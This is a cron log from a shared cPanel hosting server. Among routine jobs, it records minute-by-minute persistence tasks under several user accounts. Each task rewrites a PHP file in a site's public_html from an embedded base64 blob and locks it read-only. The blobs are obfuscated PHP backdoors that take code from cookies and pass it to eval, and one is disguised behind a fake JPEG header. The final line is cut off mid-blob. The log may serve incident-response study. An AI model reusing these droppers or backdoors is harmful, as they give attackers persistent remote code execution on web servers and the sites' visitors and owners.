Mar  2 04:06:01 medusa CROND[3364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:06:01 medusa CROND[3365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:06:01 medusa CROND[3370]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:06:01 medusa CROND[3372]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:06:01 medusa CROND[3371]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:06:01 medusa CROND[3362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:07:01 medusa CROND[20273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:07:01 medusa CROND[20359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:07:01 medusa CROND[20360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:07:01 medusa CROND[20361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:07:01 medusa CROND[20362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:07:01 medusa CROND[20363]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:07:01 medusa CROND[20365]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:07:01 medusa CROND[20371]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:07:01 medusa CROND[20377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:07:01 medusa CROND[20379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:07:01 medusa CROND[20380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:07:01 medusa CROND[20391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:08:01 medusa CROND[4973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:08:01 medusa CROND[4977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:08:01 medusa CROND[4991]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:08:01 medusa CROND[5021]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 04:08:01 medusa CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:08:01 medusa CROND[5235]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:08:01 medusa CROND[5236]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:08:01 medusa CROND[5237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:08:01 medusa CROND[5241]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:08:01 medusa CROND[5243]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:08:01 medusa CROND[5244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:08:01 medusa CROND[5253]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAx